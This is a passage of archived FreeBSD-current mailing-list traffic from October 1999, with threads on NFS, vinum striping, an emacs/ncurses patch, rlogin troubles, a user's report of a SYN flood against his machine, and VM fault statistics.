gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Fri, 29 Oct 1999 11:22:22 -0400 (EDT) To: Matthew Dillon Cc: freebsd-current@FreeBSD.ORG Subject: Re: odd NFS behaviour with DU 4.F client In-Reply-To: <199910282225.PAA12530@apollo.backplane.com> References: <14360.50663.727201.679421@grasshopper.cs.duke.edu> <199910282225.PAA12530@apollo.backplane.com> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14361.47885.374557.603037@grasshopper.cs.duke.edu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew Dillon writes: > > Well, there was a bug in nfsrv_create() which caused the server to > not reply to an NFS packet. This led to a general revamping of the > server side code which may have fixed other rpc's at the same time. > Whether fixing that bug solves the problem you are having or not is > unknown. > > :I would guess that the DU4CLIENT has the filehandle cached somewhere, > :even though it has unmounted the filesystem. > : > :My question: Whose fault is this? Should the FreeBSD server be > :ignoring requests to a valid filehandle if the client has not mounted > :the FS? Should it be returning some sort of error? > : > :Thanks, > : > :Drew > > There should be a response to the rpc either way so my guess is that > it is a server-side bug. It turns out that the user was in 17 groups (DU supports up to 32). After I removed him from 2 groups & got his group count down to 15, all was well. After I upgrade the NFS server to a more recent -current, I'll test this again with a user in 17 groups. Thanks again, Drew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 8:43:46 1999 Delivered-To: freebsd-current@freebsd.org Received: from soda.CSUA.Berkeley.EDU (soda.CSUA.Berkeley.EDU [128.32.43.52]) by hub.freebsd.org (Postfix) with ESMTP id 7BED91521B for ; Fri, 29 Oct 1999 08:43:43 -0700 (PDT) (envelope-from brian@CSUA.Berkeley.EDU) Received: from smarter.than.nu (ida-89-77.Reshall.Berkeley.EDU [169.229.89.77]) by soda.CSUA.Berkeley.EDU (8.8.8/) via ESMTP id IAA15016; Fri, 29 Oct 1999 08:43:42 -0700 (PDT) env-from (brian@CSUA.Berkeley.EDU) Date: Fri, 29 Oct 1999 08:43:40 -0700 (PDT) From: "Brian W. Buchanan" X-Sender: brian@smarter.than.nu To: Randy Bush Cc: FreeBSD Current Subject: Re: -stable to -current In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 28 Oct 1999, Randy Bush wrote: > o so build -current binary for config > o update kernel config file to -current > o config a -current kernel > o make a -current kernel > o install -current kernel > o reboot > o crash in init after configuring network, but was too fast to capture > o but i think that the last line of the boot tells the story, see below > > so what's the upgrade path? This sounds like its loading a kernel module (linux.ko perhaps?) built for 3-stable which isn't forwards compatible with the new kernel. Rebuild the modules and then try booting -current. If that doesn't fix it, consider building a debug kernel or booting with a serial console so you can capture the panic. -- Brian Buchanan brian@CSUA.Berkeley.EDU -------------------------------------------------------------------------- FreeBSD - The Power to Serve! http://www.freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 9: 5:24 1999 Delivered-To: freebsd-current@freebsd.org Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.144.32]) by hub.freebsd.org (Postfix) with ESMTP id 340D214CFB for ; Fri, 29 Oct 1999 09:05:20 -0700 (PDT) (envelope-from dwhite@resnet.uoregon.edu) Received: from localhost (dwhite@localhost) by resnet.uoregon.edu (8.9.3/8.9.3) with ESMTP id JAA08571; Fri, 29 Oct 1999 09:05:14 -0700 (PDT) (envelope-from dwhite@resnet.uoregon.edu) Date: Fri, 29 Oct 1999 09:05:13 -0700 (PDT) From: Doug White To: Randy Bush Cc: FreeBSD Current Subject: Re: -stable to -current In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 28 Oct 1999, Randy Bush wrote: > trying to take a system from stable to current. > o cvsup current > o try makeworld but get Bzzt! Read /usr/src/UPDATING. You need a new kernel first. I still hate the way the signal change was handled. Doug White | FreeBSD: The Power to Serve dwhite@resnet.uoregon.edu | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 9: 6:45 1999 Delivered-To: freebsd-current@freebsd.org Received: from yana.lemis.com (yana.lemis.com [192.109.197.140]) by hub.freebsd.org (Postfix) with ESMTP id 75DAD154BA for ; Fri, 29 Oct 1999 09:06:33 -0700 (PDT) (envelope-from grog@lemis.com) Received: from mojave.worldwide.lemis.com ([199.103.141.157]) by yana.lemis.com (8.8.8/8.8.8) with ESMTP id BAA23749 for ; Sat, 30 Oct 1999 01:36:26 +0930 (CST) (envelope-from grog@lemis.com) Message-ID: <19991028110624.33678@mojave.worldwide.lemis.com> Date: Thu, 28 Oct 1999 11:06:24 -0400 From: Greg Lehey To: Garrett Wollman , Poul-Henning Kamp Cc: Chuck Robey , current@freebsd.org Subject: Re: lsof + namecache References: <312.941094594@critter.freebsd.dk> <199910281452.KAA91520@khavrinen.lcs.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii In-Reply-To: <199910281452.KAA91520@khavrinen.lcs.mit.edu>; from Garrett Wollman on Thu, Oct 28, 1999 at 10:52:30AM -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thursday, 28 October 1999 at 10:52:30 -0400, Garrett Wollman wrote: > < said: > > > The lsof functionality should in my opinion be added to the system, > > and the necessary hooks should be added to the kernel using sysctl. > > fstat(1). It doesn't quite have the functionality. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 9: 6:46 1999 Delivered-To: freebsd-current@freebsd.org Received: from yana.lemis.com (yana.lemis.com [192.109.197.140]) by hub.freebsd.org (Postfix) with ESMTP id 3086B15056 for ; Fri, 29 Oct 1999 09:06:15 -0700 (PDT) (envelope-from grog@lemis.com) Received: from mojave.worldwide.lemis.com ([199.103.141.157]) by yana.lemis.com (8.8.8/8.8.8) with ESMTP id BAA23737; Sat, 30 Oct 1999 01:35:42 +0930 (CST) (envelope-from grog@lemis.com) Message-ID: <19991029115950.20951@mojave.worldwide.lemis.com> Date: Fri, 29 Oct 1999 11:59:50 -0400 From: Greg Lehey To: Alfred Perlstein , current@freebsd.org Subject: Re: (vinum?) lockups in strategy routines? References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii In-Reply-To: ; from Alfred Perlstein on Fri, Oct 29, 1999 at 05:10:07AM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Friday, 29 October 1999 at 5:10:07 -0700, Alfred Perlstein wrote: > > Anyone running -current as of Oct 28, 1999 getting lockups in > device strategy routines? > > I thought I'd be able to get a dump but it didn't work. > > Specifically I'm running vinum in striping mode and the new ata-drivers. > > 10 Aug 1999 14:27:51.389915 stripe /dev/da0e /dev/da1e > > A kernel from Wed Oct 6 seems fine (able to buildworld). > > grog? :) > > I hope to get a crashdump soon, is there anything i can do help > debug this in the meanwhile? No. Unfortunately, I don't even have the equipment available to test this myself. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 9: 8: 4 1999 Delivered-To: freebsd-current@freebsd.org Received: from yana.lemis.com (yana.lemis.com [192.109.197.140]) by hub.freebsd.org (Postfix) with ESMTP id 7AA35157DA for ; Fri, 29 Oct 1999 09:07:48 -0700 (PDT) (envelope-from grog@lemis.com) Received: from mojave.worldwide.lemis.com ([199.103.141.157]) by yana.lemis.com (8.8.8/8.8.8) with ESMTP id BAA23773 for ; Sat, 30 Oct 1999 01:37:26 +0930 (CST) (envelope-from grog@lemis.com) Message-ID: <19991026110615.51265@mojave.worldwide.lemis.com> Date: Tue, 26 Oct 1999 11:06:15 -0400 From: Greg Lehey To: Geoff Buckingham Cc: Mike Tancsa , freebsd-current@freebsd.org Subject: Re: AMRD (MegaRAID) BIOS rev another other questions References: <3.0.5.32.19991020143339.016e0210@staff.sentex.ca> <19991022140949.A82396@chuggalug.clues.com> <19991024095811.61238@mojave.worldwide.lemis.com> <19991026112647.B95499@chuggalug.clues.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit In-Reply-To: <19991026112647.B95499@chuggalug.clues.com>; from Geoff Buckingham on Tue, Oct 26, 1999 at 11:26:47AM +0100 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tuesday, 26 October 1999 at 11:26:47 +0100, Geoff Buckingham wrote: > On Sun, Oct 24, 1999 at 09:58:11AM -0600, Greg Lehey wrote: >> >> Indeed. It's quite easy to put all cylinder groups on a single >> spindle; I've seen reports of up to 80% degradation under these >> circumstances. >> >>> Where sequential read/write performance is not critical you can stripe at >>> cluster size to avoid this. Other wise using an odd number of spindles for >>> a stripe and an even number for a RAID3 or RAID5 or stripeing at an interval >>> which is not a power of two should work (12,24,48,76 etc) >> >> The best I've heard of is 768 kB - 1 sector. This works on Vinum, but >> it seems that most RAID controllers use a somewhat simplistic striping >> algorithm. You might like to try 31 kB or such. This won't make any >> difference with rawio, though. > > I would agree from experiance that 768 KB seems a good selection for vinum > and probably ccd too There's a big difference between 768 kB and 767½ kB. That's the point I was trying to make. With 768 kB, you risk having all your superblocks on one drive. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 9: 9:25 1999 Delivered-To: freebsd-current@freebsd.org Received: from yana.lemis.com (yana.lemis.com [192.109.197.140]) by hub.freebsd.org (Postfix) with ESMTP id 91E6A15801 for ; Fri, 29 Oct 1999 09:08:12 -0700 (PDT) (envelope-from grog@lemis.com) Received: from mojave.worldwide.lemis.com ([199.103.141.157]) by yana.lemis.com (8.8.8/8.8.8) with ESMTP id BAA23785 for ; Sat, 30 Oct 1999 01:38:07 +0930 (CST) (envelope-from grog@lemis.com) Message-ID: <19991025110248.57032@mojave.worldwide.lemis.com> Date: Mon, 25 Oct 1999 11:02:48 -0600 From: Greg Lehey To: Dennis Glatting , freebsd-current@freebsd.org Subject: Re: Strangeness with vinum References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii In-Reply-To: ; from Dennis Glatting on Sun, Oct 24, 1999 at 08:53:28AM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sunday, 24 October 1999 at 8:53:28 -0700, Dennis Glatting wrote: > > I just want to document some strangeness I see with vinum, in case it > has been noticed before but not identified, or someone knows a cure. You should read vinum(4). It tells you what kind of information I need for resolving problems. It also tells you to send the message to me personally so that I don't miss them. > I have a Dell XPS D333 with two Adaptec 2940 Ultra SCSI adapters, one > assigned to fast things and the other to slow things, generally. On > the slow adapter I have two SEAGATE ST43400N disks I placed under > vinum. Below is my config file. > > drive a device /dev/da3e > drive b device /dev/da4e > volume vol1 > plex org striped 16k This is too small. Choose 257 kB unless you have a good reason not to. But it has nothing to do with your problem. > sd length 2777m drive a > sd length 2777m drive b > > When I run "iozone -aR" against the volume the entire disks subsystem > seems to take a pause from time to time when the file sizes get large > (>= 32 MB). You don't really want to run iozone. Use rawio instead. But of course you shouldn't get this behaviour. > By this I mean the pause encompasses both disk controllers. > Specifically, if I enter a command in a window, such as "ls," > against a disk on the fast controller and my cwd is on that > controller too, then there is a big delay before the disk is listed, > on the order of 5-10 seconds. My PATH variable does not include any > devices on the slow controller. The window system still runs fine as > does the network. We seem to have buffer management problems in the kernel. I suspect what you're seeing here is some kind of yo-yo effect where the system uses up all its buffers and doesn't recover until a large number have been flushed. I've added some additional checks to -CURRENT, but they're not in -STABLE yet. > FreeBSD 3.3-STABLE #23: Sat Sep 25 08:27:04 PDT 1999 This isn't really a question for -CURRENT then, is it? But since you're here, try the same tests with -CURRENT and see if it happens there too. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 9:58: 1 1999 Delivered-To: freebsd-current@freebsd.org Received: from penelope.skunk.org (penelope.skunk.org [208.133.204.51]) by hub.freebsd.org (Postfix) with ESMTP id AA0C614E7E for ; Fri, 29 Oct 1999 09:57:59 -0700 (PDT) (envelope-from ben@penelope.skunk.org) Received: from localhost (ben@localhost) by penelope.skunk.org (8.9.3/8.9.3) with ESMTP id NAA88502; Fri, 29 Oct 1999 13:03:52 -0400 (EDT) Date: Fri, 29 Oct 1999 13:03:52 -0400 (EDT) From: Ben Rosengart To: Doug White Cc: Randy Bush , FreeBSD Current Subject: Re: -stable to -current In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 29 Oct 1999, Doug White wrote: > I still hate the way the signal change was handled. How would you have done it differently? As I understand it, the pain was more or less inevitable. -- Ben Rosengart UNIX Systems Engineer, Skunk Group StarMedia Network, Inc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 10:37:47 1999 Delivered-To: freebsd-current@freebsd.org Received: from smtprch1.nortel.com (smtprch1.nortelnetworks.com [192.135.215.14]) by hub.freebsd.org (Postfix) with ESMTP id 5695815511 for ; Fri, 29 Oct 1999 10:37:43 -0700 (PDT) (envelope-from atrens@nortelnetworks.com) Received: from zcars01t by smtprch1.nortel.com; Fri, 29 Oct 1999 12:36:32 -0500 Received: from hcarp00g.ca.nortel.com by zcars01t; Fri, 29 Oct 1999 13:36:23 -0400 Received: from hcarp00g.ca.nortel.com (hcarp00g.ca.nortel.com [47.196.31.114]) by hcarp00g.ca.nortel.com (8.9.3/8.7.3) with ESMTP id NAA02620 for ; Fri, 29 Oct 1999 13:39:33 -0400 (EDT) Date: Fri, 29 Oct 1999 13:39:33 -0400 (EDT) From: "Andrew Atrens" X-Sender: atrens@hcarp00g.ca.nortel.com Reply-To: "Andrew Atrens" To: current@freebsd.org Subject: pam config problem ? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG All, rlogind has been broken for me (-current) for a couple of weeks - is this a known problem ? --atrens@churchill: /usr/home/andrew -- $ cat .rhosts + atrens + andrew + root --atrens@churchill: /usr/home/andrew -- $ rlogin localhost assword:asdfasfdasdfas ^C --atrens@churchill: /usr/home/andrew -- $ rlogin localhost assword: ^C --atrens@churchill: /usr/home/andrew -- $ Cheers, Andrew. -- +-- | Andrew Atrens Nortel Networks, Ottawa, Canada. | | All opinions expressed are my own, not those of any employer. | --+ Heller's Law: The first myth of management is that it exists. Johnson's Corollary: Nobody really knows what is going on anywhere within the organization. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 10:41:23 1999 Delivered-To: freebsd-current@freebsd.org Received: from smtprch1.nortel.com (smtprch1.nortelnetworks.com [192.135.215.14]) by hub.freebsd.org (Postfix) with ESMTP id 0574A152DA for ; Fri, 29 Oct 1999 10:41:15 -0700 (PDT) (envelope-from atrens@nortelnetworks.com) Received: from zcars01t by smtprch1.nortel.com; Fri, 29 Oct 1999 12:40:46 -0500 Received: from hcarp00g.ca.nortel.com by zcars01t; Fri, 29 Oct 1999 13:40:39 -0400 Received: from hcarp00g.ca.nortel.com (hcarp00g.ca.nortel.com [47.196.31.114]) by hcarp00g.ca.nortel.com (8.9.3/8.7.3) with ESMTP id NAA02653 for ; Fri, 29 Oct 1999 13:43:49 -0400 (EDT) Date: Fri, 29 Oct 1999 13:43:49 -0400 (EDT) From: "Andrew Atrens" X-Sender: atrens@hcarp00g.ca.nortel.com Reply-To: "Andrew Atrens" To: current@freebsd.org Subject: K6-III wrtalloc + mtrr support ? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG All, I recently moved from a K6-2 to a K6-III and my dmesg output appears to have changed. In particular I'm not seeing messages about wrtalloc and mtrr support anymore - are they not supported for the K6-III ? FreeBSD 4.0-CURRENT #0: Fri Oct 29 01:59:19 EDT 1999 atrens@churchill:/usr/local/src/cvs/sys/compile/CHURCHILL Timecounter "i8254" frequency 1193182 Hz Timecounter "TSC" frequency 451023849 Hz CPU: AMD-K6(tm) 3D+ Processor (451.02-MHz 586-class CPU) Origin = "AuthenticAMD" Id = 0x591 Stepping = 1 Features=0x8021bf AMD Features=0x80000800 Andrew. -- +-- | Andrew Atrens Nortel Networks, Ottawa, Canada. | | All opinions expressed are my own, not those of any employer. | --+ Heller's Law: The first myth of management is that it exists. Johnson's Corollary: Nobody really knows what is going on anywhere within the organization. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 10:57:27 1999 Delivered-To: freebsd-current@freebsd.org Received: from lamb.sas.com (lamb.sas.com [192.35.83.8]) by hub.freebsd.org (Postfix) with ESMTP id 381B615483 for ; Fri, 29 Oct 1999 10:57:19 -0700 (PDT) (envelope-from brdean@unx.sas.com) Received: from mozart (mozart.unx.sas.com [192.58.184.28]) by lamb.sas.com (8.9.3/8.9.1) with SMTP id NAA05455 for ; Fri, 29 Oct 1999 13:57:18 -0400 (EDT) Received: from dean.pc.sas.com by mozart (5.65c/SAS/Domains/5-6-90) id AA18701; Fri, 29 Oct 1999 13:56:48 -0400 Received: (from brdean@localhost) by dean.pc.sas.com (8.9.3/8.9.3) id NAA20672; Fri, 29 Oct 1999 13:56:47 -0400 (EDT) (envelope-from brdean) From: Brian Dean Message-Id: <199910291756.NAA20672@dean.pc.sas.com> Subject: emacs / ncurses - problem somewhere To: freebsd-current@freebsd.org Date: Fri, 29 Oct 1999 13:56:47 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL54 (25)] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Ever since the libtermcap / libncurses consolidation, change emacs has problems positioning the cursor and properly updating the screen for character-only devices like the console. It also affects the display in an xterm in non-X mode, i.e., when DISPLAY is *not* set. This is emacs 20.4, by the way on current as of yesterday. I've tried emacs from packages as well as a freshly built one from the ports and both exhibit the problem. Note that emacs works fine when it brings up is own window due to DISPLAY being set. Has anyone else seen this and already have a fix or know for sure whether this is an emacs bug or a FreeBSD bug? Thanks, -Brian -- Brian Dean brdean@unx.sas.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 11: 8:52 1999 Delivered-To: freebsd-current@freebsd.org Received: from vip.consys.com (VIP.ConSys.COM [209.141.107.6]) by hub.freebsd.org (Postfix) with ESMTP id 865791559A for ; Fri, 29 Oct 1999 11:08:48 -0700 (PDT) (envelope-from rcarter@pinyon.org) Received: (from pinyon@localhost) by vip.consys.com (8.9.3/8.9.1) id LAA07310; Fri, 29 Oct 1999 11:08:32 -0700 (MST) Date: Fri, 29 Oct 1999 11:08:32 -0700 (MST) From: "Russell L. Carter" Message-Id: <199910291808.LAA07310@vip.consys.com> To: brdean@unx.sas.com, freebsd-current@FreeBSD.ORG Subject: Re: emacs / ncurses - problem somewhere In-Reply-To: <199910291756.NAA20672@dean.pc.sas.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG |Hi, | |Ever since the libtermcap / libncurses consolidation, change emacs has |problems positioning the cursor and properly updating the screen for |character-only devices like the console. It also affects the display |in an xterm in non-X mode, i.e., when DISPLAY is *not* set. | |This is emacs 20.4, by the way on current as of yesterday. I've tried |emacs from packages as well as a freshly built one from the ports and |both exhibit the problem. | |Note that emacs works fine when it brings up is own window due to |DISPLAY being set. | |Has anyone else seen this and already have a fix or know for sure |whether this is an emacs bug or a FreeBSD bug? Yup! And also for 19.34b... I've searched all over for the source of this problem, glad to know I'm not alone. However, it only affects one of my three -current boxes, so apparently there is bit of cruft lying around, but I haven't been able to find the sucker causing this. (mergemaster'd repeatedly) Russell | |Thanks, |-Brian |-- |Brian Dean brdean@unx.sas.com | | |To Unsubscribe: send mail to majordomo@FreeBSD.org |with "unsubscribe freebsd-current" in the body of the message | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 12:16:45 1999 Delivered-To: freebsd-current@freebsd.org Received: from kougars.kish.cc.il.us (kougars.kish.cc.il.us [131.156.65.2]) by hub.freebsd.org (Postfix) with ESMTP id 97A8614FFF for ; Fri, 29 Oct 1999 12:16:40 -0700 (PDT) (envelope-from mab@kougars.kish.cc.il.us) Received: from localhost (mab@localhost) by kougars.kish.cc.il.us (8.9.3/8.9.3) with ESMTP id OAA06348 for ; Fri, 29 Oct 1999 14:16:50 -0500 (CDT) Date: Fri, 29 Oct 1999 14:16:50 -0500 (CDT) From: Mike Bush To: freebsd-current@freebsd.org Subject: SYN Flood/DoS/PPP/ipfw Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The other day my machine was attacked with, what i believe is, a SYN flood. tcpdump gave me this output (1.1.1.1 is me and 2.2.2.2 is him) 20:57:05.828276 2.2.2.2.4064 > 1.1.1.1.33948: S 1409055765:14090557 65(0) win 32120 (DF) 20:57:05.836343 2.2.2.2.4065 > 1.1.1.1.14060: S 1409337177:14093371 77(0) win 32120 (DF) 20:57:05.877668 2.2.2.2.4066 > 1.1.1.1.24418: S 1402287967:14022879 67(0) win 32120 (DF) 20:57:05.878095 2.2.2.2.4067 > 1.1.1.1.63768: S 1395991751:13959917 51(0) win 32120 (DF) ... Anyways, this attack lasted for about 40 minutes and I had a firewall ('ipfw show' said the packets were being denied). After about 30 minutes my system began swapping. I looked around and found ppp (what i used to connect with via tun0) was now taking up 47MB of RAM and was still growing. The attack didnt really effect the system load until it started swapping.. and then it was minimal. So my question is.. Is this a problem with my firewall rules or a problem in ppp? (I run ppp with -alias) I was always under the impression that if you deny the SYN's where you can (or where they shouldnt be) then they cant cause a problem. I guess this is wrong. My system: CPU: pII 266 RAM: 64MB SWAP: 115MB OS: FreeBSD-current 4.0 (Oct 20, 1999) FreeBSD fan Mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 12:23:22 1999 Delivered-To: freebsd-current@freebsd.org Received: from mail.rdc2.on.home.com (ha1.rdc2.on.home.com [24.9.0.15]) by hub.freebsd.org (Postfix) with ESMTP id EB64C15575 for ; Fri, 29 Oct 1999 12:23:18 -0700 (PDT) (envelope-from street@iname.com) Received: from mired.eh.local ([24.64.136.188]) by mail.rdc2.on.home.com (InterMail v4.01.01.07 201-229-111-110) with ESMTP id <19991029192317.TSGS3040.mail.rdc2.on.home.com@mired.eh.local>; Fri, 29 Oct 1999 12:23:17 -0700 Received: (from kws@localhost) by mired.eh.local (8.9.3/8.9.3) id PAA22063; Fri, 29 Oct 1999 15:23:17 -0400 (EDT) (envelope-from kws) To: "Russell L. Carter" Cc: brdean@unx.sas.com, freebsd-current@FreeBSD.ORG Subject: Re: emacs / ncurses - problem somewhere References: <199910291808.LAA07310@vip.consys.com> From: Kevin Street Date: 29 Oct 1999 15:23:17 -0400 In-Reply-To: "Russell L. Carter"'s message of "Fri, 29 Oct 1999 11:08:32 -0700 (MST)" Message-ID: <87904mq8d6.fsf@mired.eh.local> Lines: 14 X-Mailer: Gnus v5.6.45/XEmacs 21.1 - "Biscayne" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Russell L. Carter" writes: > Yup! And also for 19.34b... I've searched all over for the > source of this problem, glad to know I'm not alone. However, > it only affects one of my three -current boxes, so apparently there is > bit of cruft lying around, but I haven't been able to find > the sucker causing this. (mergemaster'd repeatedly) Are the ones that work linked with an old version of libtermcap.so that was lying around or are they linked with the new libncurses.so.5 ? -- Kevin Street street@iname.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 12:30:20 1999 Delivered-To: freebsd-current@freebsd.org Received: from cx281057-a.irvn1.occa.home.com (cx281057-a.irvn1.occa.home.com [24.5.32.114]) by hub.freebsd.org (Postfix) with ESMTP id 1E4AA14D41 for ; Fri, 29 Oct 1999 12:30:15 -0700 (PDT) (envelope-from housel@cx281057-a.irvn1.occa.home.com) Received: from cx281057-a.irvn1.occa.home.com (localhost [127.0.0.1]) by cx281057-a.irvn1.occa.home.com (8.9.3/8.9.3) with ESMTP id MAA35072; Fri, 29 Oct 1999 12:29:05 -0700 (PDT) (envelope-from housel@cx281057-a.irvn1.occa.home.com) Message-Id: <199910291929.MAA35072@cx281057-a.irvn1.occa.home.com> To: Brian Dean Cc: freebsd-current@FreeBSD.ORG Subject: Re: emacs / ncurses - problem somewhere In-Reply-To: Message from Brian Dean of "Fri, 29 Oct 1999 13:56:47 EDT." <199910291756.NAA20672@dean.pc.sas.com> Date: Fri, 29 Oct 1999 12:29:05 -0700 From: "Peter S. Housel" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Ever since the libtermcap / libncurses consolidation, change emacs has > problems positioning the cursor and properly updating the screen for > character-only devices like the console. It also affects the display > in an xterm in non-X mode, i.e., when DISPLAY is *not* set. > > This is emacs 20.4, by the way on current as of yesterday. I've tried > emacs from packages as well as a freshly built one from the ports and > both exhibit the problem. > > Note that emacs works fine when it brings up is own window due to > DISPLAY being set. > > Has anyone else seen this and already have a fix or know for sure > whether this is an emacs bug or a FreeBSD bug? I filed a bug report for this. I fixed it in Emacs with the following patch. I think it's a FreeBSD bug, though. -Peter- housel@acm.org --- /tmp/tparam.c Fri Oct 29 12:27:03 1999 +++ tparam.c Thu Oct 7 23:07:24 1999 @@ -290,6 +290,9 @@ case 'D': /* %D means weird Delta Data transformation. */ argp[0] -= 2 * (tem % 16); break; + case 'p': /* from terminfo */ + p++; + break; } } else To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 12:47:52 1999 Delivered-To: freebsd-current@freebsd.org Received: from cs.rice.edu (cs.rice.edu [128.42.1.30]) by hub.freebsd.org (Postfix) with ESMTP id 9E6F914BD8 for ; Fri, 29 Oct 1999 12:47:45 -0700 (PDT) (envelope-from alc@cs.rice.edu) Received: (from alc@localhost) by cs.rice.edu (8.9.0/8.9.0) id OAA16504 for current@freebsd.org; Fri, 29 Oct 1999 14:47:44 -0500 (CDT) Date: Fri, 29 Oct 1999 14:47:43 -0500 From: Alan Cox To: current@freebsd.org Subject: copy-on-write optimized faults Message-ID: <19991029144743.Z16685@cs.rice.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.5us Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I would appreciate it if people running -current would run a "vmstat -s" and tell me if they see a NON-ZERO value for copy-on-write optimized faults. About six months ago, I implemented a simpler and more general optimization at an earlier "fork in the road". (In effect, I avoid the creation of the redundant vm object that "copy-on-write optimized faults" applies to.) If I don't hear anything, I plan to remove the vestiges of this "optimization" from the vm fault handler. Alan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 12:52: 2 1999 Delivered-To: freebsd-current@freebsd.org Received: from freesbee.wheel.dk (freesbee.wheel.dk [193.162.159.97]) by hub.freebsd.org (Postfix) with ESMTP id 1E01414BD8 for ; Fri, 29 Oct 1999 12:51:58 -0700 (PDT) (envelope-from jesper@skriver.dk) Received: by freesbee.wheel.dk (Postfix, from userid 1001) id 8EED73E2E; Fri, 29 Oct 1999 21:51:55 +0200 (CEST) Date: Fri, 29 Oct 1999 21:51:55 +0200 From: Jesper Skriver To: Alan Cox Cc: current@freebsd.org Subject: Re: copy-on-write optimized faults Message-ID: <19991029215155.A98265@skriver.dk> References: <19991029144743.Z16685@cs.rice.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <19991029144743.Z16685@cs.rice.edu>; from alc@cs.rice.edu on Fri, Oct 29, 1999 at 02:47:43PM -0500 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Oct 29, 1999 at 02:47:43PM -0500, Alan Cox wrote: > I would appreciate it if people running -current would run a "vmstat -s" > and tell me if they see a NON-ZERO value for copy-on-write optimized > faults. About six months ago, I implemented a simpler and more general > optimization at an earlier "fork in the road". (In effect, I avoid > the creation of the 